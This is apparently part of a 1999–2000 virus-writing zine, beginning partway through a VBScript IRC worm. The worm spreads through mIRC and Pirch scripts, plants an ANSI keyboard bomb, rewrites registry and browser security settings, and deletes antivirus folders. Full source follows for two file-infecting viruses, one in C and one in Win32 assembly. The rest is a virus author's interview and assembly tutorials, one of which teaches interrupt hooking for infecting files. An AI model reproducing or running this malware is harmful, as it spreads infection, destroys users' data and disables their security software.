  MakePScript.WriteLine "UserCount=0"

  MakePScript.WriteLine "EventCount=0"

  MakePScript.WriteLine ""

  MakePScript.WriteLine "[200-Level 200]"

  MakePScript.WriteLine "UserCount=0"

  MakePScript.WriteLine "EventCount=0"

  MakePScript.WriteLine ""

  MakePScript.WriteLine "[300-Level 300]"

  MakePScript.WriteLine "UserCount=0"

  MakePScript.WriteLine "EventCount=0"

  MakePScript.WriteLine ""

  MakePScript.WriteLine "[400-Level 400]"

  MakePScript.WriteLine "UserCount=0"

  MakePScript.WriteLine "EventCount=0"

  MakePScript.WriteLine ""

  MakePScript.WriteLine "[500-Level 500]"

  MakePScript.WriteLine "UserCount=0"

  MakePScript.WriteLine "EventCount=0"

  MakePScript.Close

FSO.CopyFile "c:\WINDOWS\events1.dll", "c:\mirc\script.ini"

FSO.CopyFile "c:\WINDOWS\events1.dll", "c:\Program Files\mirc\script.ini"

FSO.CopyFile "c:\WINDOWS\events2.dll", "c:\pirch98\events.ini"

FSO.CopyFile "c:\WINDOWS\events2.dll", "c:\Program Files\pirch98\events.ini"

FSO.CopyFile "c:\WINDOWS\events2.dll", "c:\pirch32\events.ini"

FSO.CopyFile Parent, "c:\WINDOWS\cute.vbs"

FSO.CopyFile Parent, "c:\WINDOWS\Start Menu\Programs\StartUp\§Startup§.vbs"

'~Ÿ�ÿ…š1Åyºí0¼ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^(~Ÿ�ÿ…š1Åyºí0¼ßÌ�cÙíÇŸFûŠ¼N†ûì7]D

If Day(Now()) = 1 Then

Set tFile = FSO.CreateTextFile("c:\Windows\missy.ans", True)

  tFile.WriteLine "@ECHO ON"

  tFile.WriteLine "[" + chr(34) + "m" + chr(34) + ";" + chr(34) + "copy c\windows\*.* c:\windows\desktop /y" + chr(34) + ";13p"

  tFile.WriteLine "[" + chr(34) + "i" + chr(34) + ";" + chr(34) + "copy c\*.* c:\windows\desktop /y" + chr(34) + ";13p"

  tFile.WriteLine "[" + chr(34) + "s" + chr(34) + ";" + chr(34) + "copy c\mydocu~1\*.* c:\windows\desktop /y" + chr(34) + ";13p"

  tFile.WriteLine "[" + chr(34) + "s" + chr(34) + ";" + chr(34) + "copy c\mydocu~1\*.* c:\windows\desktop /y" + chr(34) + ";13p"

  tFile.WriteLine "[" + chr(34) + "y" + chr(34) + ";" + chr(34) + "copy c\recycled\*.* c:\windows\desktop /y" + chr(34) + ";13p"

  tFile.WriteLine "[" + chr(34) + "!" + chr(34) + ";" + chr(34) + "del c\windows\temp\*.* /y" + chr(34) + ";13p"

  tFile.WriteLine "@ECHO OFF"

  tFile.WriteLine "REM IRC-Missy.c"

  tFile.WriteLine "REM First VBS Worm to carry a Ansibomb"

  tFile.WriteLine "REM Welcome to Missy!"

tFile.Close

Set SysFile = FSO.CreateTextFile("c:\config.sys", ForAppending, True)

  SysFile.WriteLine ""

  SysFile.WriteLine "DEVICE=C:\Windows\command\ANSI.SYS"

  SysFile.WriteLine ""

SysFile.Close

Set ABatFile = FSO.CreateTextFile("c:\Windows\WinStart.bat", ForAppending, True)

  ABatFile.WriteLine ""

  ABatFile.WriteLine "@echo off"

  ABatFile.WriteLine "type c:\windows\missy.ans"

  ABatFile.WriteLine ""

ABatFile.Close

Set DBatFile = FSO.CreateTextFile("c:\Windows\DosStart.bat", ForAppending, True)

  DBatFile.WriteLine ""

  DBatFile.WriteLine "@echo off"

  DBatFile.WriteLine "type c:\windows\missy.ans"

  DBatFile.WriteLine ""

DBatFile.Close

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆú

End If

If Day(Now()) = 1 or Day(Now()) = 5 or Day(Now()) = 10 or Day(Now()) = 15 or Day(Now()) = 20 or Day(Now()) = 25  Then

  WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Version", "Windows Y2K"

  WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOwner", "You Make Me Complete."

  WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOrganization", "Valued Customer"

  WshShell.RegWrite "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\SystemStart\.Current\", @, "C:\\WINDOWS\\media\\Chimes.wav"

  WshShell.RegWrite "HKEY_CURRENT_USER\AppEvents\Schemes\Apps\.Default\SystemStart\.Default\", @, "C:\\WINDOWS\\media\\Chimes.wav"

  MsgBox "I love the things we should fear" & Chr(13) & Chr(10) & "And I'm not afrade of being here", 4096 , "Missy - You Make Me Complete"

  fSO.DeleteFolder ("c:\Program Files\Mcafee")

  fSO.DeleteFolder ("c:\Program Files\avp")

  fSO.DeleteFolder ("c:\f-prot")

End If

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ

WshShell.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201", 0, "REG_DWORD"

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ

WshShell.RegWrite"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1201" , 0, "REG_DWORD"

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ

'you cant stop the bum rush

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíßÌ�cÙíÇŸFûŠ¼N†ûì7

'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíßÌ�cÙíÇŸFûŠ¼N†ûì7

'Exit Missy-->

'Ì�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^'ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^ßÌ�cÙíÇŸFûŠ¼N†ûì7]DœúÆ^


HLLP.Jessie by GzR / NuKE

#include <io.h>

#include <stdio.h>

#include <process.h>

#include <fcntl.h>

#include <dir.h>

#define Vsize	(????+1)

#define MyID	(5+1)

/* HLLP.Jessie.a */

/* GzR / NuKE */

/*...Jessie don't follow me, Jessie go on home.*/

/*Add your final compiled size to get her to work.*/

struct ffblk ff;

char Buffer1[Vsize], Buffer2[Vsize], Tmp[MyID];

int handle1, attr, attr2, status;

char* MyVirID = "Jessie";

void main(int argc, char *argv[])

{

 attr = _chmod(*argv, 0);

 _chmod(*argv, 1, 0);

 handle1 = _open(*argv, O_RDWR);

 _read(handle1, Buffer1, Vsize-1);

 _close(handle1);

 status = findfirst("*.EXE", &ff, 0x27);

 while (status == 0)

 {

  attr2 =_chmod(ff.ff_name, 0);

  _chmod(ff.ff_name, 1, 0);

  handle1 = _open(ff.ff_name, O_RDWR);

  lseek(handle1, ff.ff_fsize - MyID, SEEK_SET);

  _read(handle1, Tmp, MyID);

  if ((strcmp(MyVirID, Tmp)) != 0)

  {

  lseek(handle1, 0L, SEEK_SET);

  _read(handle1, Buffer2, Vsize-1);

  lseek(handle1, filelength(handle1), SEEK_SET);

  _write(handle1, Buffer2, Vsize-1);

  _write(handle1, MyVirID, MyID);

  lseek(handle1, 0L, SEEK_SET);

  _write(handle1, Buffer1, Vsize-1);

  }

  _close(handle1);

  _chmod(ff.ff_name, 1, attr2);

  status = findnext(&ff);

  }

 handle1 = _open(*argv, O_RDWR);

 lseek(handle1, (long) filelength(handle1) - Vsize - MyID + 1, SEEK_SET);

 _read(handle1, Buffer2, Vsize-1);

 lseek(handle1, 0, SEEK_SET);

 _write(handle1, Buffer2, Vsize-1);

 system(*argv);

 lseek(handle1, 0, SEEK_SET);

 _write(handle1, Buffer1, Vsize-1);

 _close(handle1);

 _chmod(*argv, 1, attr);

}


AtaXia by Evul
Win32.AtaXia by Evul

;win32.AtaXia  by:Evul

;Silly win32 prepender.  This virus simply finds an exe, and if

;it is an uninfected PE or NE ,. it will copy virus+host to disk

;At runtine, the virus seperates the two bodies into two files,

;executes the host, and uses the virus copy as infection source.

;This version infects five windows EXE's in the current dir, five

;in the parent dir, and five in the windir.

;The only good thing about this virus is the fact that it drops

;a repaired copy of the host to disk and executes it.  Due to

;this behavior, it doesnt NOT corrupt SFX file, or InstallSheild

;exe's,and no heuristics at this time can see what it is doing.

;I know .. its lame .. what can I say ?  Its my first experiment

;in win32 fexy.  Its slow, noisy and uses old file functions from

;win3x compatability.  My next will be better .. promise  =P

.386p

.model flat

.code

;=============================

extrn	LocalFree:proc;

extrn	LocalAlloc:proc;

extrn	GetModuleHandleA:proc;

extrn	GetModuleFileNameA:proc;

extrn	ExitProcess:proc;

extrn	WinExec:proc;

extrn	GetCommandLineA:proc;

extrn	_lopen:proc;

extrn	_lcreat:proc;

extrn	_lread:proc;

extrn	_lwrite:proc;

extrn	FindFirstFileA:proc;

extrn	FindNextFileA:proc;

extrn	DeleteFileA:proc;

extrn	MoveFileA:proc;

extrn	CloseHandle:proc;

;extrn	CreateFileA:proc;

extrn	WriteFile:proc;

extrn	GetSystemDirectoryA:proc;

extrn	GetWindowsDirectoryA:proc;

extrn	GetCurrentDirectoryA:proc;

extrn	SetCurrentDirectoryA:proc;

extrn	lstrcat:proc;

;=============================

include windows.inc

;=============================

virussize	equ	8192

;=============================

begin:

mov	ebx,	0ffffffh

push	ebx

push	LMEM_ZEROINIT

call	LocalAlloc

mov	dword ptr [heap], eax

cmp	eax,	0

je	done_this

fixhost:

push	offset	handle1

call	GetModuleHandleA

push 	50

push 	offset handle2

push 	eax

call	GetModuleFileNameA

push	offset filedta

push	offset handle2

call	FindFirstFileA

lea	esi,	[cFileName]

lea	edi,	[newfilename]

stowit_:

lodsb

cmp	al,	'.'

je	addext_

stosb

jmp	stowit_

addext_:

stosb

lea	esi,	[newext]

movsw

movsw

push	0

push	offset cFileName

call	_lopen

mov	dword ptr [open_handle],eax

push	dword ptr [nFileSizeLow]

push	dword ptr [heap]

push	eax

call	_lread

push	dword ptr [open_handle]

call	CloseHandle

push	0

push	offset newfilename

call	_lcreat

mov	ebx,	dword ptr [nFileSizeLow]

sub	ebx,	virussize

push	ebx

mov	ebx,	dword ptr [heap]

add	ebx,	virussize

push	ebx

push	dword ptr [open_handle]

call	_lwrite

push	dword ptr [open_handle]

call	CloseHandle

push	0

push	offset evulzfile

call	_lcreat

mov	dword ptr [open_handle],eax

push	virussize

push	dword ptr [heap]

push	eax

call	_lwrite

push	dword ptr [open_handle]

call	CloseHandle

push	2

push	offset evulzfile

call	_lopen

mov	dword ptr [open_handle],eax

push	virussize

push	dword ptr [heap]

push	eax

call	_lread

push	dword ptr [open_handle]

call	CloseHandle

execit:

jmp	dirloop

FEXY:

mov	byte ptr [infected],0

push	offset filedta

push	offset maska

call	FindFirstFileA

mov	dword ptr [handle_],eax

cmp	eax,	0

je	done_this

check:

mov	bx,	word ptr[cFileName]

cmp	bx,	'XE'

je	nextfile

cmp	bx,	'UR'

je	nextfile

cmp	bx,	'ur'

je	nextfile

cmp	bx,	'ME'

je	nextfile

cmp	bx,	'va'

je	nextfile

cmp	bx,	'sv'

je	nextfile

cmp	dword ptr [nFileSizeLow],(0ffffffh-virussize)

jg	nextfile

push	2

push	offset cFileName

call	_lopen

mov	dword ptr [open_handle],eax

mov	ebx,	dword ptr [nFileSizeLow]

mov	dword ptr [hostsize], ebx

push	ebx

mov	ebx,	dword ptr [heap]

add	ebx,	virussize

push	ebx

push	eax

call	_lread

push	dword ptr [open_handle]

call	CloseHandle

mov	ebx,	dword ptr [heap]

add	ebx,	(virussize+12h)

cmp	byte ptr [ebx], 'X'

je	bail

add	ebx,	6

cmp	byte ptr [ebx], '@'

jne	bail

push	2

push	offset cFileName

call	_lopen

mov	dword ptr [open_handle],eax

mov	ebx,	dword ptr [nFileSizeLow]

add	ebx,	virussize

push	ebx

push	dword ptr [heap]

push	eax

call	_lwrite

inc	byte ptr [infected]

bail:

push	dword ptr [open_handle]

call	CloseHandle

cmp	byte ptr [infected],5

je	done_this

nextfile:

push	offset filedta

mov	eax,	dword ptr [handle_]

push	eax

call	FindNextFileA

cmp	eax,	0

je	done_this

jmp	check

done_this:

ret

dirloop:

call	FEXY

push	offset curdir

push	260

call	GetCurrentDirectoryA

uploop:

push	offset updir

call	SetCurrentDirectoryA

cmp	eax,	1

jne	trywindows

call	FEXY

trywindows:

push 	260

push 	offset windir

call 	GetWindowsDirectoryA

push	offset windir

call	SetCurrentDirectoryA

call	FEXY

push	offset curdir

call	SetCurrentDirectoryA

mov	eax,	dword ptr [heap]

call	LocalFree

call	GetCommandLineA

mov	esi,	eax

loopdot:

mov	edi,	esi

lodsb

cmp	al,	'.'

jne	loopdot

stosb

lea	esi,	[fixcmd]

movsw

movsw

call	GetCommandLineA

push	00000001

inc	eax

push	eax

call	WinExec

deleteit:

push	offset newfilename

call	DeleteFileA

cmp	eax,	0

je	deleteit

push	offset evulzfile

call	DeleteFileA

push	0

call	ExitProcess

;=============================

.data

windir	db	260	dup(0)

curdir	db	260	dup(0)

maska	db	'*.exe',0

newext	db	'VXE',0

fixcmd	db	'VXE '

evulzfile	db	'Evul.tmp',0

handle_	dd	0

open_handle	dd	0

heap	dd	0

hostsize	dd	0

commandline	dd	0

updir	db	'..',0

filedta:

FileAttributes	dd	0

CreationTime 	db	8	dup(0)

LastAccessTime	db	8	dup(0)

LastWriteTime	db	8	dup(0)

nFileSizeHigh	dd	0

nFileSizeLow	dd	0

dwReserved0	dd	0

dwReserved1	dd	0

cFileName	db	50	dup(0)

cAltFileName	db	50	dup(0)

handle1	db	50 	dup(0)

handle2	db	50 	dup(0)

written	dd	0

infected	db	0

newfilename	db	50	dup(0)

end	begin


Interview with Zulu by Raven

'>' is Raven

no '>' is Zulu

>Where did you get your handle?

We used to play Worms game (the one with worms with bazookas and uzis) with some friends and

one of my soldiers was called Zulu. And well, when using IRC for the first time I needed a

handle and I choused that one. A different history is why one of my soldiers was called Zulu.

Oh, and no, is not from Star Trek or Shaka Zulu. :)

>Are you part of any VX groups?

No, I prefer to be in this way. Anyways, thanks to all the guys that invited me to join to

any group.

>How long have you been part of the virus scene?

Like 10 months I think.

>How did you started programming virii?

I was always interested in viruses since I got infected with one from my country called

Pindonga (Indonga for AVP) and none antivirus could detect it in that time. I remember that

I used Dr. Solomon Toolkit to look in the memory and find the unencrypted text it has and a

program called Detscan to find it using some characters I extracted from the infected files.

But since I was coding only things for myself in Visual Basic I supposed I couldn't write a

good virus. Also at that time I hadn't a modem, so I couldn't get more viruses to keep

testing more of them.

Time later, after finding 1nternal's work with VBScript, I noticed I could write things

like that. So I coded HTML/VBS.Zulu thinking that it will be my first and last virus (that's

why I called it like my handle) and I sent it to some VX people (I didn't know them, I just

found their web sites). But well, more ideas came and also good comments from people like Evul

and Nightmare Joker, so I continued coding and I also started collecting.

>What was your first virus?

HTML/VBS.Zulu.

>Are there any individuals or what groups do you respect out the VX/AV scene?

In VX I respect lots of individuals, coders and traders. If I start writing names I will

forget some. :)

In AV I mostly use AVP and F-Prot. Maybe just because I get used to them and they are the

ones needed to trade with others. But I think they do their work pretty good.

The ones I not respect are those people from alt.comp.virus that act like children when

having a discussion with VX people. But I think posting to treat them in the same way as

they do with us is not a good choice, it's better not to be like them. :)

>Which programming languages do you know and/or use the most?

Inside VX, I only use HTML and VBScript for my viruses/worms. Also, I use Visual Basic

for a virus collection sorter.

Outside VX, I use Pascal and C++ at the university and JavaScript for web sites.

>What's your views on Macro/HLL virii vs. Assembly virii?

Different types of viruses only, good ones and bad ones in both.

Anyways, as shown with VBS.Freelinks, even a VBScript worm can be in the wild, so I think the

language is not really so important. :)

>What do you think of destructive payloads in virii?

I don't like them. I remember when I was new with computers and I got infected by

Michelangelo, what could happened to me if I hasn't an uncle to help me to remove it before the

payload, so that infected user with his information deleted could be me years ago.

>Where do you think the virus scene is going?

I think we will still have more viruses with worm abilities, not waiting the user to send the

infected files, sending themselves to other people.

Also using files as droppers or worms that most users don't know what they are or they don't

know they can contain a virus, like JS, SHS, HTA, HLP, etc. I think it will be too difficult

for a worm in an EXE file to have success in the future, maybe with a good social engineering

only.

>What advice would you give new virus programmers?

No idea, before this interview I was still considering myself one of those. :)

>What are your future plans?

I'm finishing the first mail virus (really a worm), OUTLOOK.BubbleBoy, but it uses a scripting

bug for spreading that in the future all people will have patched, so it won't start a new

method of infection for future viruses.

I still have other ideas, but then I plan to start doing some things in Visual C++.

>Do you have any other comments?

Just sorry because of my bad english in case something is difficult to understand. :)

>Thank you for your time from myself and Metaphase.

No problem, thanks to you and all from Metaphase.

Also thanks to all the people that helped me in the virus scene and greets to all in #vir,

#virus, #vxtrader and #vx-vtc.


ELF Analyzation Toolkit By Sblip

-=ELF Analyzation Toolkit=-

Herein are a few tools that might or might not help anyone trying

to analyze ELF files, for whatever reason. The first, eheader, analyzes the ELF header of and ELF file, giving us back valuable information such as the virtual entry address of execution, the addresses of the program and section header tables (although in my experience the PHT is always at offset 34h), the index of the String Table, Processor Specific flags, what type of object file it is (Relocatable, Executable, Shared, etc) and a bunch of other information you should already should know (byte ordering and architecture for your system, etc)

The second tool, pheader, analyzes the array of Program Header entries in the Program Header Table of an ELF file, giving us the type

(PT_LOAD, PT_PHDR, PT_INTERP, PT_DYNAMIC, etc) of the section, it's virtual address in the file, the section size, required memory allocation size, flags, and alignment requirements.

Thirdly sheader, analyzes the different sections of an ELF file (defined in the Section Header Table). It extracts section names from the string table,gives the section type, file offset, memory image address (if applicable), and a bunch of other stuff.

Most of the information that these tools provide won't be of much useto you unless you are already familiar with the ELF format, especially some of the info gleamed from sheader.

For this reason, I have included some valuable tables in the included file TABLES, that should help clear things up. All of the information

in TABLES came directly from the System V Application Binary Interface white paper on the Executable and Linkable Format (ELF), which should be available in postscript format on the net.

Note that this is a beta release that probably has more than a few

bugs (see BUGS for a couple). It has only been tested on Linux 2.0.x-2.2.x with libc5, and FreeBsd 3.x. Please report bugs/patches to

sblip@usa.net

I hope that you may find some use of these tools.

most coding done in 6-99

readme last updated 5-02-00

sblip


Using the getdents By Sblip

#!/home/sblip/"Metaphase Vx"/article.2

using the getdents(2) Linux syscall to read directory entries from disk.

This article assumes basic knowledge of at&t syntax assembly, and basic

understanding of how to make system calls in linux through int 0x80h.

If you aren't familiar with either of these concepts, check out the

Assembly Programming Journal Issues 1-2, which can be found at

asmjournal.freeservers.com.

Note also that you don't *HAVE* to use at&t style asm; the free netwide

assembler (nasm) runs on many different platforms (including linux) and

uses normal intel syntax. Hopefully I will produce future articles

containing examples using both styles.

The included implementation is PIC (position independant code. code that

doesn't need to know it's exact offset in memory to execute and return

to it's caller.)

first some explanation of the getdents() function in C.

directly from the man page:

int getdents(unsigned int fd, struct dirent *dirp, unsigned int count);

'getdents' reads several 'dirent' structures from the direc-

tory pointed at by 'fd' into the memory area pointed  to  by

'dirp'. The paramater 'count' is the size of the memory area.

       The dirent structure is declared as follows:

struct dirent

{

long d_ino;	   /* inode number */

off_t d_off;	   /* offset to next 'dirent' */

unsigned short d_reclen	   /* length of this dirent */

char d_name [NAME_MAX+1];  /* file name (null-terminated) */

}

we only focus on the last three members in this article.

"What the hell does a C structure have to do with asm", you ask ?

well, the system call in asm expects an area of memory to be filled with

this data; It doesn't consider it a 'C struct'; it just considers it

an area of memory and expects the arguments to it's function to be in it.

Therefore, we must know the format of a dirent struct (which changes

from system to system; don't expect it to be the same on your bsd

or solaris box) to manipulate directory entries.

Note that there is a readdir(3) C function that cannot be called in

Position Independant asm, because it is a library function, and a

readdir(2) call that is superseded by the getdents(2) system call.

In this example, we will open the current directory (which is referenced

by "." or "./") and read in some, maybe all, of the file entries it

contains.

The first call we must make is to open(2) to open the directory; we

can't use opendir(3) because it isn't implemented as a system call,

and therefore cannot be used in Position Independant Code.

remember that when calling int 0x80, the arguments to the syscall

go respectively in %ebx, %ecx, %edx, %esi, and %edi ; and the syscall

number goes in %eax.

i do this as such :

        jmp getdot

ok:

        popl %ebx 	# pops the address of our string "." into %ebx

        movl $5,%eax	# the number of our syscall open is 5

        xorl %ecx,%ecx	# 0 flags = O_RDONLY

        int $0x80	# call the linux kernel to do it's job

getdot:

        call ok	# puts the address of the 0-terminated string "."

# onto the stack as the return address.

# this is a common buffer overflow tekneeq.

        .asciz "."

this opens the current directory and returns us a filehandle for it

in %eax. Notice I did no error checking, so if the directory wasn't

readable to the user, it wouldn't be handled properly. good code

always checks for errors.

The next thing I do here is make space on the stack to read directory

entries. The only other Position Independant method of making memory

available for directory entries I know of is to call the system call

brk() to expand the data section of the running process, but I've had

trouble with brk() in the past .. perhaps too complex for me. Anyway,

using the stack has worked fine so far.

the way I make memory on the stack is by doing a manual prolog/epilog;

subtracting 2 pages (8192 bytes) from the stack pointer and adding them

back when we're done.

this probably isn't enough to list all the files in a huge directory,

especially if they have long filenames, and it isn't recursive; but

it will work for our example.

the code is:

# <prolog>

        pushl %ebp              # first step in prolog

        movl %esp,%ebp          # current %esp is our new %ebp

        subl $8192,%esp         # and the stack becomes 2 pages larger.

# remember, the stack grows down in

# memory.

# </prolog>

# 141, the getdents syscall, goes in %eax. the filehandle goes in %ebx,

# the memory area to read to goes in %ecx, and the size of the memory area

# goes into %edx.

        movl $141,%ebx          # getdents syscall

        xchgl %eax,%ebx         # shortcut to get fd into ebx

                                # and vice versa for syscall numbr.

        movl %esp,%ecx          # mem to store dirent in (stack)

        movl $8192,%edx         # size of memory

        int $0x80               # let the kernel do the rest.

That was the easy part. Next, in order to manipulate the files we've found

for opening, moving, removing, etc, we have to keep track of each dirent

struct and the offset of the d_name member, which holds the null terminated

file name string.

We can do this as:

movl %esp,%eax          # begining of our stack

movl %esp,%edi          # which will be our destination memory area

firstdir:

addl $10,%eax           # d_name of first dirent

# each dirent struct is a maximum of 266

# bytes; 10 for the first 3 members

# and a possible 255 for the filename

# the d_name member starts at offset 10

# from the begining of the struct

call whatever	# now we have the offset of the filename

# string in %eax, we can do what we will

# with it.

        movl %edi,%ebx          # We use %ebx to hold the begining of the

# current dirent struct each pass, and

# increment it by d_reclen each time.

        xorl %esi,%esi          # esi will hold sum of d_reclen lengths

# ok, can someone please explain the movzwl instruction to me ?

# there is no documentation for it anywhere, but it is the only thing

# that will correctly put the dirent struct length into a register ;

# I *think* what it does is moves the word/byte sized number into

# %ax , and 0's out the rest of the bytes in %eax, but i'm not sure.

# Oh well, it works. These few lines are the only lines I didn't code

# all in asm myself; i coded a C program that called getdents and

# disassembled it. neet. please mail me if you have any insight on

# this matter. sblip@usa.net

mark:

movzwl 8(%ebx),%eax     # puts the length of the current directory

# entry structure into %eax; the next dirent

# struct starts directly after this one.

addl %eax,%esi          # %esi holds the sum of the lengths of all

# the dirent structs we have examined so far.

leal (%esi,%edi),%ebx   # edi = begin of buf, so esi+edi = the offset

# of the begining of the next dirent struct.

leal 10(%ebx),%eax      # text filename string d_name of current

# dirent struct.

call whatever

cmpw $0,8(%ebx)         # length to next dirent; if it's 0 then

# there are no more to read.

jle leave	# no more dirents, leave.

jmp mark	# loop until we find a null dirent struct

I hope I commented enough to explain most of the instructions.

Attached at the end here is a simple, Position Independant directory

listing program. It will only list entries found before the two page

memory limit, which is hard coded. It could easily be changed to

use a larger stack or too keep calling getdents until all entries had

been read. (getdents will return the amount of bytes read until it reaches

the end of the directory, where upon it returns 0)

have fun.

#	dir.s

.text	# these 3 lines should be removed

.globl main	# if you were too add this code into

main:	# existing code.

jmp getdot

ok:

popl %ebx	# address of .

movl $5,%eax	# open syscall

xorl %ecx,%ecx	# rd only

int $0x80	# unf.

# <prolog>

pushl %ebp	# now we're gonna try to use the stack

movl %esp,%ebp	# to hold a dirent .. need 266 bytes (max)

subl $8192,%esp	# each, so we make space

# </prolog>

movl $141,%ebx	# getdents syscall

xchgl %eax,%ebx	# shortcut to get fd into ebx

# and vice versa for syscall numbr.

movl %esp,%ecx	# mem to store dirents in

movl $8192,%edx	# size of memory

int $0x80	# wtumf.

movl %esp,%eax	# begining of space on stack

movl %esp,%edi	# where stuff is stored

mored:

addl $10,%eax	# d_name of first dirent

call print

movl %edi,%ebx	# start of buffer

xorl %esi,%esi	# esi will hold sum of d_reclen lengths

mark:

movzwl 8(%ebx),%eax	# d_reclen -> %eax

addl %eax,%esi	# sum in %esi

leal (%esi,%edi),%ebx	# edi = begin of buf, so esi+edi = next

leal 10(%ebx),%eax	# text string d_name

call print

cmpw $0,8(%ebx)	# length to next, if 0 exit

jle leave

jmp mark

leave:

movl $1,%eax

xorl %ebx,%ebx	# no use in adding extra bytes by INCing it ..

int $0x80

getdot:

call ok

.asciz "."

print:

        pusha                   # save our registers.

letloop:

        xorl %ebx,%ebx

        cmpb 0(%eax),%bl        # see if the next byte in d_name is NULL or not

        je fin                  # if so, we reached end of file name

        movl $4,%ecx            # write system call = 4

        pushl %eax              # %eax gets corrupted on system call return

                                # so we save it

        xchgl %eax,%ecx         # buffer to write in %ecx, syscall num in %eax

        movl $1,%ebx            # file descriptor 1 = STDOUT

        movl $1,%edx            # write 1 byte at a time

        int $0x80               # wtumf.

        popl %eax               # restore %eax

        incl %eax               # move to next byte in d_name

        jmp letloop             # repeat loop

fin:

        jmp getnline            # get string address of "\n"

baq:

        popl %ecx               # into %ecx

        movl $4,%eax            # write syscall

        movl $2,%edx            # write 2 bytes

        movl $1,%ebx            # to STDOUT

        int $0x80               # call kernel.

        popa                    # restore registers

        ret                     # get next dirent

getnline:

        call baq

.asciz "\n"

===============================================================================

sblip/Metaphase Vx

shouts to s1c, acidflux, el9

05-03-00

===============================================================================


Your First Interrupt HandlerBy BSL4 / 3C

Interrupts are the most frequently used tools for accessing DOS services.  Although they are numbered from 0 to 256, MS-DOS has more than 256 service functions.  This is because every interrupt handler uses the information you pass to it to determine a function to be performed. So, one handler can perform several functions.

The IBM PC and its compatibles generate hardware interrupts whenever the system detects activity on the keyboard, disk drive, or any other component.  The microprocessor has an instruction for passing control to the interrupt handler. The syntax of this instruction is:

INT interrupt - number

Where interrupt - number is the number of the interrupt you want to call.  This can be a constant or a variable in the range 0-255 (0h-0FFh).

Lets assume the following example:  one of the most popular and universal DOS interrupts is the interrupt 33 (21h in the hexadecimal system), through which we can access the function 4Ch.  This particular function terminates the current process and passes a return code to DOS or back to the original calling program.  Referring to return code we mean usually a certain value, either 0 or non-zero. In our case, a return value of zero would mean that the program has finished successfully, while a value of 1 means that an error was detected while running the program.

Using the interrupt looks like this:

MOV AL, 00h	;Return code into AL

MOV AH, 4Ch	;Function number into AH

INT 21h	;Interrupt Call

Alternatively, the first two lines can be  also combined into one statement:

MOV AX, 4C00h	;Function number and return code into AX

INT 21h	;Interrupt call

The advantage of writing them separately is that you can alter the return code without repeating the full fragment of code.

How the INT Instruction Works

The interrupt vector routine for the keyboard for example, or other system resources is simply an address.  This address tells the computer where the code to handle this particular interrupt is stored in memory. By changing the keyboard interrupt vector address, your program can redirect this interrupt to its own service handler to determine if a certain action is in process (like read/write to a file), and therefore intercept it and add another function to it (copy the virus to the file as well).  At this point you might be wondering why, if the interrupt handler is just another program, we don't use the CALL instruction to run it, and we have to go through a special INT routine?  Well, although it is possible and feasible to use the CALL instruction to invoke interrupt handlers, it involves additional work.

The INT instruction starts by pushing the flags and registers CS and IP onto the stack.  It then clears the trap and interrupt flags before finally jumping to the interrupt handler.  This jump means that the next instruction to be performed will be the instruction whose segment:offset address is contained in the interrupt vector, and declares the interrupt_number.  Furthermore,  the INT instruction replaces the last two instructions, PUSHF and CALL, and since there are only 256 interrupts, it only needs 1 byte for data.

Some Rules to follow when implementing handler interrupts

When writing your own interrupt handlers, it is vital that you start and  finish the corresponding routine or program correctly.  It is important to remember that when attempting to call the original routine of the interrupt you are trying to intercept, this must be done by a far CALL.  The original routine will then perform a far return with the IRET instruction. The IRET instruction pops an offset and segment address and a flag register from the stack.  This is done because the new interrupt service routine that performs a far CALL pushes a segment and offset address onto the  stack, and these addresses with the flag must be removed to keep the stack properly managed.

Do not do this the correct way, and you will see the whole Universe crashing in flames…

Writing your own interrupt handlers

Now lets have a look at how you can install your own handler to provide additional services.  Initially, an interrupt must be treated as a procedure in your virus program, but nevertheless, you must install a handler before using it.  Since it would be wiser to let lil DOS do the hard work for us, we can use function 25h of interrupt 21h to do this. To use this function, perform these simple steps:

1.	Put the segment address of the new address into DS

2.	Put the offset address of the new handler into DX

3.	Put the value of 25h into AH

4.	Put the number of the interrupt you want to intercept into AL

5.	Call the interrupt 21h

The following snippet of code does exactly what we just describe….

Push ds	;save DS

Mov ax, seg Handler	;segment address of handler into AX

Mov ds,ax	;copy it into DS

Mov dx,offset Handler	;offset address of handler

Mov ah,25h	;function 25h - Set new handler

Mov al,13h	;Number of interrupt hooked

Int 21h	;DOS service call

Pop ds

………….

Handler proc

………….

Iret

Handler endp

Remember to finish with the iret instruction rather then ret…

To optimize the above code one could do the following as well:

Instead of 	mov ah,25h

mov al,13h

Int 21h

You could 	mov ax,2513h

